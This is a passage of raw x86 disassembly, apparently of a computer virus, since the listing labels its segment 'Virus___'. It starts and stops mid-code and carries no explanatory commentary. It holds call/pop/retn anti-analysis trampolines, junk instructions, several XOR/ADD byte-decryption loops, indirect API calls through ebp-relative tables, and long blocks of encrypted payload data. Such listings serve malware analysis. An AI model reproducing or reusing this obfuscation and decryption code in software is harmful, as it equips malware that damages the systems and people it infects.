		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_58D634	endp

; ---------------------------------------------------------------------------
		pop	ebx
		push	esi
		retn	471Dh
; ---------------------------------------------------------------------------
		pushf
		and	ebx, [ebp+71B1485h]
		pusha
		mov	edx, [ebp+71B2659h]
		mov	cx, di
		popa
		mov	dword ptr [eax], 18h
		xor	edi, [ebp+71B1EC1h]
		mov	esi, [ebp+71EABC4h]
		mov	edi, [ebp+71B15EDh]
		mov	eax, [ebp+71B0149h]
		push	0
		push	ecx
		call	sub_58D684
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D684	proc near		; CODE XREF: Virus___:0058D67Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_58D684	endp

; ---------------------------------------------------------------------------
		dd 94390CE9h, 6A068984h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0D5E9C350h,	0D9901ED3h
		dd 202D9D29h, 0B589071Bh, 71B18A1h, 30E5858Bh, 6A071Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0B3B56C3h, 6268088Bh, 46893794h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 866EEEC8h
		dd 1ECCB5ECh, 0BF0FCF5Bh, 525050FAh, 8E9h, 3CEA800h, 71A0D7D9h
		dd 8B310FEDh, 89585AFBh, 6A2434h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0CE5A09C3h, 0D3483B1Dh
		dd 0AD9D2B03h, 81071B2Eh, 729A2FDBh, 0C0B5FF27h, 8B071EABh
		dd 316F68F9h, 8A0FDF29h, 8, 2830Fh, 61600000h, 90240481h
		dd 6A20F5D2h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0FF97C351h, 4EE29511h,	1881CC86h
		dd 2EC19D89h, 858D071Bh, 71EABC8h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 5FC35646h, 5CC9EF29h, 35BD899Eh
		dd 90071B04h, 6E8h, 79867500h, 604C3257h, 0AE9h, 35C98600h
		dd 3E859BB5h, 5767AB1Dh, 505F6158h, 28E0F60h, 56000000h
		dd 0E890615Fh, 0Dh, 8D51ECA2h, 0BEBFA67Fh, 281957E6h, 0BE9E2h
		dd 3B130000h, 0CFD44996h, 0BC564D06h, 95FF5F58h, 71B04E9h
; ---------------------------------------------------------------------------


loc_58D834:				; CODE XREF: Virus___:0058D5EDj
		popa
		push	0
		push	edx
		call	sub_58D840
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D840	proc near		; CODE XREF: Virus___:0058D838p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_58D840	endp

; ---------------------------------------------------------------------------
		dd 1EB341F0h, 0B9BD8BF0h, 0C7071B1Eh, 1B18CD85h, 307h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 3689C167h, 0FE8B0E64h, 0ABC8BD83h, 0F00071Eh
		dd 3B84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0CA0ED7C7h, 0E2F4BFF2h, 2CE91DAEh
		dd 0F000000h, 0B8Ah, 6E900h, 0B4FC0000h, 7D067F2Dh
; ---------------------------------------------------------------------------


loc_58D8D0:				; CODE XREF: Virus___:0058D3D3j
					; Virus___:0058D8E7j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_58D8D0
		jmp	short loc_58D921
; ---------------------------------------------------------------------------


loc_58D8EB:				; CODE XREF: Virus___:0058D393j
					; Virus___:0058D902j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_58D8EB
		jmp	short loc_58D921
; ---------------------------------------------------------------------------


loc_58D906:				; CODE XREF: Virus___:0058D3C0j
					; Virus___:0058D91Dj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_58D906
		jmp	short $+2


loc_58D921:				; CODE XREF: Virus___:0058D8E9j
					; Virus___:0058D904j
		mov	eax, eax
		jnb	loc_58D931
		push	esi
		or	[ebp+71B29F1h],	esi
		pop	ebx


loc_58D931:				; CODE XREF: Virus___:0058D923j
		pusha
		mov	[ebp+71B34E5h],	esi
		mov	[ebp+71B21C1h],	edi
		popa
		cmp	dword ptr [ebp+71B18CDh], 3
		jnz	loc_58DD38
		push	0
		push	ecx
		call	sub_58D957
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D957	proc near		; CODE XREF: Virus___:0058D94Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_58D957	endp

; ---------------------------------------------------------------------------
		movsd
		mov	ah, [eax]
		pop	eax
		test	[edi-7419C86Fh], cl
		popf
		popf
		adc	ebx, [ebx]
		pop	es
		cmp	dword ptr [ebp+71EABC8h], 0
		jz	loc_58DD38
		push	0


loc_58D985:				; CODE XREF: Virus___:0058D99Ej
		push	esi
		call	sub_58D98E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D98E	proc near		; CODE XREF: Virus___:0058D986p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_58D98E	endp

; ---------------------------------------------------------------------------
		ja	short loc_58D985
		aaa
		fimul	dword ptr [ebx+1B281DBDh]
		pop	es
		push	dword ptr [ebp+71EABC8h]
		mov	di, 69E1h
		pusha
		or	bx, 244Bh
		mov	si, di
		popa
		call	dword ptr [ebp+71B09A5h]
		push	0
		push	esi
		call	sub_58D9CD
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D9CD	proc near		; CODE XREF: Virus___:0058D9C5p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_58D9CD	endp

; ---------------------------------------------------------------------------
		db 0Eh,	62h, 8Bh
; ---------------------------------------------------------------------------
		mov	ebp, 71B2739h
		mov	esi, [ebp+71EABBCh]
		push	0
		push	edx
		call	sub_58D9F6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D9F6	proc near		; CODE XREF: Virus___:0058D9EEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_58D9F6	endp

; ---------------------------------------------------------------------------
		dw 4F7Ah
; ---------------------------------------------------------------------------
		push	ds
		mov	[ebp+71B0355h],	edx
		mov	dword ptr [esi], 10001h
		add	[ebp+71B32A5h],	edi
		xchg	eax, esi
		mov	bl, 37h
		push	eax
		mov	bl, dl
		xchg	eax, esi
		mov	di, 9915h
		push	dword ptr [ebp+71EABC8h]
		mov	edi, [ebp+71B05C9h]
		call	dword ptr [ebp+71B3561h]
		jnb	loc_58DA44
		js	$+6


loc_58DA44:				; CODE XREF: Virus___:0058DA38j
		mov	esi, [ebp+71EABBCh]
		push	0
		push	ebp
		call	sub_58DA55
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DA55	proc near		; CODE XREF: Virus___:0058DA4Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_58DA55	endp

; ---------------------------------------------------------------------------
		db 5Bh,	7Dh, 0CBh
; ---------------------------------------------------------------------------
		xor	edi, [edx]
		jmp	loc_58DA79
; ---------------------------------------------------------------------------
		db 3Eh
		dd 0EE0B307Dh, 0E4672A0Fh
		db 1Bh
; ---------------------------------------------------------------------------


loc_58DA79:				; CODE XREF: Virus___:0058DA6Aj
		mov	eax, [ebp+71B0411h]
		push	0
		push	esi
		call	sub_58DA8A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DA8A	proc near		; CODE XREF: Virus___:0058DA82p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_58DA8A	endp

; ---------------------------------------------------------------------------
		jno	short $+2
		mov	edi, [ebp+71B31C1h]
		mov	edi, 7D3AAE9Eh
		mov	[esi+0C4h], eax
		mov	edx, [ebp+71B29B5h]
		movzx	ebx, bx
		add	edx, 4
		push	0
		push	esi
		call	sub_58DAC4
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DAC4	proc near		; CODE XREF: Virus___:0058DABCp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_58DAC4	endp

; ---------------------------------------------------------------------------
		mov	edx, [edi-76F4BBF3h]
		push	eax
		and	[edx-67A7222h],	cl
		mov	edi, 6A071Eh
		push	edi
		call	sub_58DAEF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DAEF	proc near		; CODE XREF: Virus___:0058DAE7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_58DAEF	endp

; ---------------------------------------------------------------------------
		add	eax, 1731A2C7h
		adc	bh, [edi+3652456Bh]
		pusha
		mov	[ebp+71B0669h],	ecx
		mov	edi, [ebp+71B2845h]
		popa
		mov	[ebp+71B0D85h],	ebx
		mov	[esi+0B8h], eax
		push	0
		push	ecx
		call	sub_58DB2F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DB2F	proc near		; CODE XREF: Virus___:0058DB27p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_58DB2F	endp

; ---------------------------------------------------------------------------
		fnstsw	word ptr ds:0E3C92CB4h
		xchg	eax, ebp
		mov	bh, 0BFh
		mov	bl, 28h
		push	0
		push	0
		push	esi
		call	sub_58DB57
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DB57	proc near		; CODE XREF: Virus___:0058DB4Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_58DB57	endp

; ---------------------------------------------------------------------------
		db 79h
		dd 0F92DB6B3h, 0B95DA55Dh, 6820Fh, 810F0000h, 0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+71EABC8h]
		call	dword ptr [ebp+71B09DDh]
		push	0
		push	esi
		call	sub_58DB93
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DB93	proc near		; CODE XREF: Virus___:0058DB8Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_58DB93	endp

; ---------------------------------------------------------------------------
		db 31h
		dd 8B66DB2Fh, 13E850DEh, 17000000h, 507A1729h, 3FA587DDh
		dd 426C8F29h, 0CCC53EFDh, 12E9710Eh, 9C000000h,	0CA7726A5h
		dd 24848F31h, 0F5A9F29Ch, 1C03E34Fh, 34895F70h,	0CF816624h
		dd 0B5FFA7F3h, 71EABC8h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 14h, 72C35747h, 16859589h,	95FF071Bh, 71B0341h
		dd 83F9B70Fh, 1B2431BDh, 840F0007h, 4Dh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 19h, 0DAC35646h, 0F7D619DDh
		dd 0A1BF50CBh, 890C0F2Fh, 6A2434h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0BF52BBC3h, 6BB7503Ah
		dd 0C8B5FF5Bh, 89071EABh, 1B20ED9Dh, 0A595FF07h, 89071B18h
		dd 1B178985h, 0C8B5FF07h, 0E9071EABh, 12h, 0ABFD2AEh, 95F9B503h
		dd 1A752DBAh, 6310F14Bh, 95FFAADCh, 71B293Dh, 68B0Fh, 9D8B0000h
		dd 71B212Dh, 8E9h, 9A9D2400h, 4F576C92h, 0F1BD83B5h, 2071B28h
		dd 3B840Fh, 95890000h, 71B2985h, 7D858Bh, 6A071Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 89E758C3h, 1B18E1BDh, 759D8907h, 0C6071B06h,	0BF0F0000h
		dd 9185C7FAh, 71B09h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0C7A1C356h,	76FCDB5Eh
		dd 304CD9h
; ---------------------------------------------------------------------------


loc_58DD38:				; CODE XREF: Virus___:0058D946j
					; Virus___:0058D97Dj
		jmp	loc_58D00B
; ---------------------------------------------------------------------------
		mov	[ebp+71B1949h],	edx
		mov	edi, [ebp+71B05ADh]
		mov	eax, ecx
		push	0
		push	ecx
		call	sub_58DD56
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DD56	proc near		; CODE XREF: Virus___:0058DD4Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_58DD56	endp

; ---------------------------------------------------------------------------
		dw 0D3EFh
		dd 9E8F8h, 0B1850000h, 0E23BFFA1h, 2B5A4984h, 1B08E59Dh
		dd 0CE85A07h, 0A0000000h, 0A3565A01h, 0F52EF7E3h, 0F9DA3AAEh
		dd 8FC2815Bh, 8900006Ah, 1B24A5B5h, 0E043B807h,	0E88156D0h
		dd 56D0C5CEh, 359D2952h, 5F071B2Ah, 0B966328Bh,	0EE81E12Ah
		dd 730619B4h, 14799529h, 0F681071Bh, 6C68F82Dh,	248D8D89h
		dd 0F681071Bh, 4803DF7Fh, 0DE9h, 2399BE00h, 737B769Eh
		dd 0C7BFC543h, 32896EDCh, 14E9h, 10A43700h, 0A52D6A7Ch
		dd 6AFAD8ADh, 978AD21Bh, 0EAA1C2F2h, 1EA836Fh, 0E84A4A4Ah
		dd 14h,	2999945Ch, 0B60D4991h, 0F0F88E97h, 7EEB9789h, 77EB7E83h
		dd 850F485Bh, 0FFFFFF88h, 30E19DBFh, 61419C78h,	87C0569Dh
		dd 0A1410697h, 0E84D441Ah, 761A2724h, 85E78596h, 4C688B1Ch
		dd 15910977h, 71411B4Eh, 0E85D0697h, 71410674h,	71416E97h
		dd 46990697h, 0A1412B59h, 0F05B614Eh, 6A96D38Fh, 7140F414h
		dd 41AA1197h, 0F111058Bh, 717BB691h, 67BD1197h,	4C410697h
		dd 7140F697h, 9AF23F40h, 0E9098D4Eh, 7623AB14h,	5D810596h
		dd 7391999Eh, 711C7B20h, 41C609B2h, 58CC8FE7h, 7439FD81h
		dd 7141064Fh, 6E44B622h, 14CC8F68h, 6E39FD9Dh, 4C80EE7h
		dd 72562BA5h, 713C91B3h, 0EE410697h, 7EE80A53h,	40410697h
		dd 811CD222h, 71B1AF18h, 81410697h, 5E980697h, 0DCBE4557h
		dd 72563004h, 55BD1197h, 0B3410697h, 76550B14h,	0BF68C996h
		dd 9B0D7CF6h, 7622F704h, 17BC9396h, 9A3A00CDh, 9A40EC67h
		dd 24BC8F67h, 0E639FD87h, 18C4936Ah, 9D3A267Dh,	3BEA8CEAh
		dd 48AC9320h, 0ECC809B2h, 72561AD0h, 6FEC8B56h,	0F1509B2h
		dd 71670697h, 713E6EE7h, 39210697h, 35C7BE5Ah, 35C00A73h
		dd 71560A73h, 41810697h, 4545105Ah, 0B9251BE5h,	71446E7Ah
		dd 33470697h, 0C501B110h, 9CFE72C3h, 0E6A4ECC4h, 0F4F9BC67h
		dd 7255FE5Ch, 71410697h, 898B06C1h, 7141069Ah, 3BFDC077h
		dd 751CDA20h, 751CCA18h, 714106A6h, 0F7FDB8D5h,	0E6A1AD5Fh
		dd 713B6F51h, 361D0697h, 5BEC20FCh, 6DF49B4Eh, 716709B2h
		dd 713E6EE9h, 37210697h, 45C7BC5Ah, 35C00A73h, 71570A73h
		dd 3F7F0697h, 0F19C905Ah, 88D96CD7h, 66707B4Eh,	0F41E09B2h
		dd 72561094h, 4F206C1h,	7255F421h, 0A5E64622h, 2787A293h
		dd 25097158h, 814B6C12h, 57491C80h, 39623E8Ch, 3B28A161h
		dd 22F73CB9h, 7A9D956Fh, 23C12939h, 96687509h, 84EBDA5Eh
		dd 0FF54CC12h, 0DAF83AB5h, 0BE3AA7C5h, 3A30275h, 55BF3E46h
		dd 0FBE661CCh, 1CE8599Dh, 0ED5096A0h, 150DDD94h, 64CF7271h
		dd 0ECD5EF45h, 8974D1F7h, 0CFB22C10h, 8CA0D958h, 6DF2AF11h
		dd 642C0B93h, 0FF12C3FEh, 0D7B39893h, 7433BE8Ch, 0CF551C94h
		dd 904EE0F7h, 8EC535DBh, 0E764A6ACh, 0C8BC55ACh, 71E116CFh
		dd 69C839D0h, 0FAC839B8h, 0A7BC55ACh, 9BAF16C7h, 0CD575EAFh
		dd 71C56ED6h, 0FFA2C801h, 39517B73h, 0E676D833h, 9C485A8Fh
		dd 6DCD55ACh, 0E8BC55ACh, 8ED833h, 0E8BC5A90h, 63E655ACh
		dd 5DBDA964h, 0EBA15BBDh, 7DBD26FFh, 0EBA15E1Dh, 83B7BBDh
		dd 8F124C2Fh, 715712ACh, 6FC56E7Eh, 0F77FE6Ch, 863693B5h
		dd 0D310C8ADh, 0F30A1EC4h, 0A77936CBh, 0C327A202h, 3593D8AAh
		dd 0E70931E8h, 9296C4C5h, 29A36BE4h, 26CE1BA4h,	0C6AC6CD8h
		dd 0E193B8DEh, 86F07CC6h, 4F350B86h, 0C17871CFh, 542B5ED1h
		dd 51245975h, 7E8161B9h, 4B3561D1h, 4B335B75h, 0C13067B3h
		dd 0C1366DCFh, 828064D0h, 0C13316CFh, 5522612Bh, 0C13859D0h
		dd 49815918h, 0E17F64ECh, 76h dup(0E193B6D5h), 0C693B6D5h
		dd 0E193B854h, 0C16242EDh, 6CB5E1E2h, 0AAACB73Eh, 11E72FB1h
		dd 0D15E8468h, 8CC44EAEh, 81090D4Bh, 6BC2D95Fh,	3669EFD6h
		dd 7BB71A9Ah, 0CAE65B6Bh, 421E53B6h, 0A502051Ah, 0E9107B72h
		dd 8AD8FD92h, 2024A113h, 99448742h, 250D6E2Ah, 0F7A1EE71h
		dd 211CFDB8h, 4BF06778h, 4E10A432h, 109CCE41h, 398A89C5h
		dd 0A6874A03h, 54ABBB4Ch, 654442B8h, 0D8B3E251h, 0EB6DA50Ah
		dd 37161ADEh, 0E19482FDh, 0FD50D5h, 0E1C4A9D8h,	0CC55A270h
		dd 0AE174830h, 1BDB2B51h, 22E2657Ah, 0DF107BFBh, 7207AF40h
		dd 0D8643808h, 2D57A300h, 8489C54Ah, 151F8784h,	8EB61B4Eh
		dd 0E4D1FD68h, 3CCBBBF7h, 0FD2E1A13h, 4577B7E5h, 1313F1Dh
		dd 8A45F5BFh, 0E1AD734Fh, 66F0B6D5h, 2D1AEB65h,	95D2401Ch
		dd 5117FA42h, 444CC90Fh, 280FA5C3h, 0A2FE338Ah,	0B7EB560Eh
		dd 61A9F2Fh, 7E928FEAh,	0A8F64156h, 2D107B5Dh, 211CEF3Eh
		dd 0BF06778h, 8E10A4E7h, 4E9A4ADBh, 0EC67679Dh,	4480B114h
		dd 0D9100104h, 2A58A300h, 15A48367h, 42434A03h,	0D2D38BC5h
		dd 7392C48Ah, 35E4C6CAh, 57A0E3D6h, 1AED6666h, 0FE5A7808h
		dd 1953834Ch, 0E5AD98C0h, 0E193B6C8h, 8AD3FFB7h, 97EDAABAh
		dd 94694A96h, 0E784DFB4h, 74064C28h, 3B7DE408h,	10998020h
		dd 0AF22049Bh, 0A6A92A40h, 43B02343h, 0B69F984Fh, 0D60635B0h
		dd 0DE9A8EE0h, 183BF80Bh, 5AAD2687h, 23151244h,	0E413EA7Ch
		dd 0F92A1C79h, 79778E4Ah, 97420E12h, 2571253Fh,	5B0F0212h
		dd 55C83E9Fh, 0F108A908h, 384AABA8h, 64509665h,	96D20259h
		dd 320D2735h, 0E193BE9Ch, 309781D5h, 5BEB6A60h,	0BD6EF725h
		dd 0B19F2976h, 0A6D01DEAh, 9DCF14EBh, 95AAC9D6h, 8DA2C13Eh
		dd 8899B946h, 77126E6Dh, 6FDD643Bh, 26438BA8h, 0E5D33934h
		dd 6493B6D5h, 0E042BA6Ch, 76601AD1h, 7DBFBA5Ah,	5EB2412Fh
		dd 0E193BA9Fh, 0E5AA3BD5h, 7DBFCA62h, 49BFCA0Ch, 0E194550Eh
		dd 17BFC20Ch, 6DF65D91h, 5EA57856h, 8764DC9Fh, 0FFD300DCh
		dd 49D239DFh, 49357568h, 0E1940C21h, 5EC01A0Ch,	0E1601AE1h
		dd 6F3AB6D5h, 0AB85B02Fh, 756AFD28h, 3039BA81h,	9F12BE14h
		dd 7A96178Dh, 0C56FB720h, 0E5A03B1Ch, 72BFCA0Eh, 2312DD0Ch
		dd 0E193B6E1h, 28607D56h, 0C6481A79h, 0E0A90155h, 96466D0Ch
		dd 46040B7Bh, 94ECAE0Eh, 2260BF75h, 9896D64Ah, 51640E25h
		dd 8FA96E9Ch, 7E7969C0h, 0FA5D0E98h, 0ECBF35CCh, 0E317272Fh
		dd 6D18C00Dh, 2159D21Ch, 900F5AD3h, 2B16CF7Fh, 0A8742D29h
		dd 86EF450Ch, 0E129BFDEh, 0E160DE24h, 7673B6D5h, 6E0B1196h
		dd 0A612BA81h, 0E188BA81h, 6E52B6D5h, 46AD8A96h, 2385A6FAh
		dd 0E18BDEEEh, 0F1B7B6D5h, 139DC6B3h, 63194AA7h, 0A8891AD0h
		dd 0B4DCC723h, 0B093B6D5h, 0E193C559h, 0E18BE1D5h, 40D4B6D5h
		dd 5A0563C9h, 629D1E7Ch, 0A888B850h, 0E1946BB1h, 0C94CB6B7h
		dd 0E193B6D6h, 80A15775h, 0E5C0720Ch, 0E5BFFA54h, 0E193B6E8h
		dd 0F6A10F22h, 14A90E88h, 8FE0C87Dh, 0EADF7FB5h, 0E15CD3DDh
		dd 4793B6D5h, 0E4AC06D5h, 0C193B6D5h, 263C7B1Dh, 5E601A21h
		dd 0BD601A21h, 0A193B6D5h, 8D8F7B25h, 46844FFDh, 0C6F7F75Fh
		dd 0E193B6E4h, 20E3135Dh, 88758E6h, 792614FCh, 4D9400DFh
		dd 62EEB7A8h, 865CD373h, 0BC74E908h, 4F0EB7E2h,	835CD38Eh
		dd 47684C07h, 270EB7D5h, 2C5CD3EFh, 8AFE395h, 487739F9h
		dd 1B4F9EBh, 2E2BE4C3h,	0B4A65415h, 3ECA709h, 439B310h
		dd 0B266D102h, 0B25518AFh, 80A917B1h, 20806D16h, 0BE94259Eh
		dd 2EAA6A89h, 0A5584897h, 0E7A332Dh, 9CD22DDBh,	0F989EC89h
		dd 183AE292h, 0FCBDA02Eh, 761FC7Ah, 0C6058F3Dh,	8EC5F478h
		dd 76E9E08h, 0C54080E6h, 0FD3C1895h, 0AF5A5E36h, 6DCB201h
		dd 43E59999h, 9A18807Eh
		dd 0C75A5EF4h, 0BADCB203h, 28E599FBh, 0C14CEFFBh, 9AE599FBh
		dd 43B35A3Dh, 3BE97DAFh, 94E97D3Fh, 84E599FBh, 7F515A45h
		dd 0C866950Bh, 46E80CBFh, 95F60C72h, 0EF549E08h, 0C5409F52h
		dd 0BAE5A51Ah, 2C6847FBh, 0B26D6BC2h, 0CB751FC9h, 2B6A96C8h
		dd 28DCB2F8h, 0C14CEAFBh, 9AE599FBh, 44005A48h,	3BE97D47h
		dd 95E97D3Fh, 81E599FBh, 0FB445A50h, 0C24DFAC2h, 0C5E599FBh
		dd 0B3F0A81Eh, 4374A390h, 9A09B4DEh, 0BDE4C3F4h, 99F72086h
		dd 0A92522F4h, 0E4EE6D2Fh, 6FB52D23h, 1B43D892h, 0D3DD9EBDh
		dd 190CA0DFh, 82DA20C8h, 0E386A08Dh, 0C0E2BA84h, 0FCDDEB24h
		dd 0AEDD9523h, 4BEDE01Bh, 21E07814h, 93D390C3h,	15D64039h
		dd 0D74655D3h, 84E80597h, 340FBCACh, 317A4DDDh,	0EF263075h
		dd 7E0E90C3h, 0C468CEEEh, 0D373AA70h, 24694D1h,	4179C0ACh
		dd 5E915DC7h, 0B702ED13h, 0D0456750h, 9EACD9C0h, 21B2A9FDh
		dd 32615BC3h, 8A02ED2Bh, 220E90C3h, 22B56752h, 6CD5D9C0h
		dd 0FC3E1F36h, 23FA5DBCh, 5E8DA951h, 0F7D54D6Dh, 5E8D8351h
		dd 0D44B0177h, 32AE7B4Ah, 0C8CE290h, 0EB699716h, 0F103DC52h
		dd 0A3FBA94Ch, 220E90D2h, 6386F6E3h, 0FEFC4EDDh, 262613EAh
		dd 0F0DD5DC4h, 220DD543h, 376AE1C3h, 0F051504Ah, 3787E350h
		dd 6E0A884Ah, 0A2FB9154h, 220E9026h, 220DE172h,	0D68B42C3h
		dd 0D3AE894Eh, 0C3C6E396h, 0F095C077h, 220DBC72h, 0C20B4AC3h
		dd 4AF88545h, 0AFAA681Ch, 0B57FA03Ch, 0DA305A64h, 76615B78h
		dd 702ED18h, 202B91DAh,	0C8E8217Dh, 0F214C174h,	0EE4EF0C0h
		dd 0EF6C2E7Ah, 39C20607h, 0B3A89567h, 0F27F7707h, 6D8380BDh
		dd 0B1943203h, 0BDC3915Dh, 91BD6365h, 43FE899Fh, 9968061Bh
		dd 0DBB758D6h, 0FBB28634h, 2C593A08h, 8B042AF8h, 9B48C0BFh
		dd 24E70EE4h, 0F5CC44E6h, 0EFBE89F8h, 3AE70607h, 0D058B14Ah
		dd 4BA0F67Eh, 24E739D4h, 68ED3435h, 0DE0DC55Ch,	0F83F0FF4h
		dd 505A0169h, 0F6516B2Ah, 49B3337Eh, 313F6151h,	0F65138DAh
		dd 49FECB7Eh, 2DDE6151h, 0EBE77024h, 0EF689342h, 0EF6C8DF7h
		dd 2FDE0607h, 0CA5F67C0h, 35680607h, 3EE1955Ah,	9E3AFD23h
		dd 75DCE89Ah, 1DE8F050h, 0EF68078Bh, 0C7EC884Ah, 6CD03BC8h
		dd 0A8DA23CBh, 9321E888h, 80F837C2h, 2936B3AEh,	0E028C56Dh
		dd 41AB6871h, 6733A0B7h, 67F423F4h, 6CF42552h, 6C2E98CBh
		dd 32F2C6CFh, 0D786C6E5h, 68997152h, 39B08A58h,	6FF6C606h
		dd 6F66F5D4h, 29231A63h, 60CB3B52h, 33961BD4h, 2772535Fh
		dd 0DABDFB28h, 6CF424DAh, 5F3D0ACBh, 77729B96h,	6CD03FFDh
		dd 6C41A3C4h, 716923CBh, 920EAC30h, 49BF2228h, 0A4BE96C7h
		dd 0E2F2C617h, 6CC5A4C4h, 186723CBh, 6FF70746h,	6CF400DAh
		dd 0BFC6D6CBh, 9F899E7Bh, 0EDDC97A0h, 6CF423D0h, 15FA0B39h
		dd 0A20C6AD4h, 5ADF934Bh, 5BD90951h, 0E03B8E0h,	0B1C7204Dh
		dd 0A89E68DBh, 87832481h, 0F6A74EAh, 147A459Bh,	0BC73743Eh
		dd 2215E63Eh, 3951351h,	4FB340E7h, 42C374D2h, 699513A4h
		dd 16B733B3h, 9C4A773Dh, 0B6676B3h, 6ECE2B3Dh, 149513A4h
		dd 0F722945h, 0A1FB743Eh, 1E5A3D72h, 715E14Dh, 495543Fh
		dd 1105D6F6h, 0D00FAFC9h, 0BA7A743Eh, 3715E133h, 495543Fh
		dd 0E72726BCh, 37CAAF9Dh, 0B95F58Ch, 0E63A633Dh, 147A3AB9h
		dd 3715E13Eh, 495543Fh,	147A3B67h, 69CA343Eh, 0EF1FA9B3h
		dd 0A1DE243Dh, 1E5A3DF4h, 89E3774Dh, 9395130Ch,	0A1FB61FAh
		dd 1E5A3DF4h, 715E14Dh,	495543Fh, 1105D6F6h, 0B30FAFC9h
		dd 0D17A743Eh, 0CFD781B9h, 0B9E416A0h, 3C3A3B46h, 147A7451h
		dd 0F7FA6F7Eh, 3213673Eh, 240D74F6h, 1C8DE006h,	147A436Fh
		dd 9D243B3Eh, 1F1AF40Dh, 4C885B8h, 6BCBEBBAh, 147A7438h
		dd 147AA86Fh, 0A9297F3Eh, 0E77A77D1h, 380D79BCh, 5C7BD0F6h
		dd 1BA26F9Fh, 271364FEh, 9C0D74F6h, 0D7CB1707h,	1B52ED9Fh
		dd 9CDE13Eh, 6995543Fh,	0EF6C12BBh, 2245BC3Dh, 2643DCABh
		dd 25944A10h, 9222A43Ch, 0E7AFA9FDh, 380D7BBAh,	0F2C5DEF6h
		dd 699554A8h, 0EF6C35BBh, 921D433Dh, 5CF1A66Fh,	147A596Fh
